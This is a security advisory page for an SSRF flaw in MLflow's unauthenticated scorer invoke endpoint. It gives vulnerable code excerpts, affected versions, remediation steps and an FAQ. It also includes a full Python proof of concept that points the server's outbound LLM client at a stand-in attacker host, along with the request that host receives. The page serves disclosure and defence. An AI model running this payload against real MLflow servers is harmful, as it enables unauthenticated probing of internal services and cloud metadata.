BIT-mlflow-2026-115886: MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Published Oct 23, 2026
·
Updated

Summary MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details Scorer.modelvalidatejson() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

python data = serialized.thirdpartyscorerdata # attacker JSON modulepath = data.get("module") or "" classname = data.get("class") if not any(modulepath == m or modulepath.startswith(m + ".") for m in THIRDPARTYSCORERALLOWEDMODULES): raise MlflowException.invalidparametervalue(...) module = importlib.importmodule(modulepath) scorerclass = getattr(module, classname, None) # attribute NOT constrained ... initkwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained ... initkwargs["model"] = data["model"] # attacker model URI scorerinstance = scorerclass(initkwargs) # reflective instantiation

The allowlist (mlflow/genai/scorers/scorerutils.py:46-51) only gates the import path:

python THIRDPARTYSCORERALLOWEDMODULES = frozenset({ "mlflow.genai.scorers.ragas", "mlflow.genai.scorers.deepeval", "mlflow.genai.scorers.trulens", "mlflow.genai.scorers.phoenix", })

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

python backend = ScorerLLMClient(modeluri) if backend.route == "databricks": return createdatabricksprovider(backend, kwargs) if backend.isnative: return creategatewayprovider(backend, kwargs) try: from trulens.providers.litellm import LiteLLM litellmmodel = backend.modelname ... return LiteLLM(modelengine=litellmmodel, kwargs) # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.init forwards apibase/apikey straight into litellm.completion().

- Route: POST /ajax-api/3.0/mlflow/scorer/invoke → invokescorerhandler (mlflow/server/handlers.py:7026-7098), guarded only by @catchmlflowexception/@disableifartifactsonly — no auth decorator. - Scorer.modelvalidatejson(serializedscorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submitjob call. - Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC python import time import mlflow from mlflow import MlflowClient import requests

TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors

client = MlflowClient(trackinguri=TARGET)

1. Anonymous setup: create an experiment and log a trace to obtain a traceid. expid = client.createexperiment("poc") mlflow.settrackinguri(TARGET) mlflow.setexperiment(experimentid=expid) with mlflow.startspan(name="poc-span") as span: span.setinputs({"q": "hi"}) span.setoutputs({"a": "hi"}) traceid = span.requestid

2. Attack: invoke a reflected trulens scorer whose kwargs point the outbound LLM client at the attacker host with an attacker-chosen Authorization value (their own canary, not a server secret). serializedscorer = { "name": "poc", "thirdpartyscorerdata": { "module": "mlflow.genai.scorers.trulens", "class": "Coherence", "metricname": "Coherence", "model": "openai:/gpt-4o", # routes to the litellm fallback "kwargs": { "apibase": ATTACKER, "apikey": "ATTACKER-CANARY", # attacker's own value, not a server secret }, }, } resp = requests.post( f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke", json={ "experimentid": expid, "serializedscorer": import("json").dumps(serializedscorer), "traceids": [traceid], }, ) print(resp.statuscode, resp.text) time.sleep(5) # scorer job runs asynchronously

Attacker-controlled listener at ATTACKER receives, moments later: POST /collect/chat/completions HTTP/1.1 Authorization: Bearer ATTACKER-CANARY Content-Type: application/json ...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Other sources

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.modelvalidatejson resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply apibase and apikey values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

— OSV

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.modelvalidatejson resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply apibase and apikey values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

— OSV

Affected Software

2 affected componentsFixes available
bitnami/mlflow>=3.12.0<3.17.0
3.17.0
pip/mlflow>=3.12.0rc0<3.17.0
3.17.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade bitnami/mlflow to a version that resolves this vulnerability.

    Fixed in 3.17.0
  2. Upgrade

    Upgrade pip/mlflow to a version that resolves this vulnerability.

    Fixed in 3.17.0
  3. Upgrade

    Upgrade MLflow to a version that resolves this vulnerability.

    Fixed in 3.17.0

Event History

Oct 23, 2026
CVE Published
via OSV·09:17 PM
Data Sourced
via OSV·09:17 PM
DescriptionSeverityWeakness
Advisory Published
via OSV·10:07 PM
Data Sourced
via OSV·10:07 PM
Affected Software

Frequently Asked Questions

1

Which deployments are realistically exposed to the SSRF behavior?

Unauthenticated MLflow tracking servers are exposed when the optional trulens and trulens-providers-litellm packages are installed. The vulnerable endpoint is available without authentication.

2

What does an attacker need to exploit this issue?

An attacker only needs network access to the MLflow server's unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke endpoint. They can submit crafted JSON that selects a reflected class and supplies unconstrained constructor keyword arguments.

3

What can an attacker cause the server to do?

The attacker can induce the server to send an outbound HTTP request to an arbitrary host and include attacker-controlled headers. The stated impact is limited to SSRF with low confidentiality and integrity impact and no availability impact.

4

Is there a fix available?

The references identify MLflow release v3.17.0 and the associated upstream fix commit. Verify the MLflow version in use and consult that release when planning remediation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203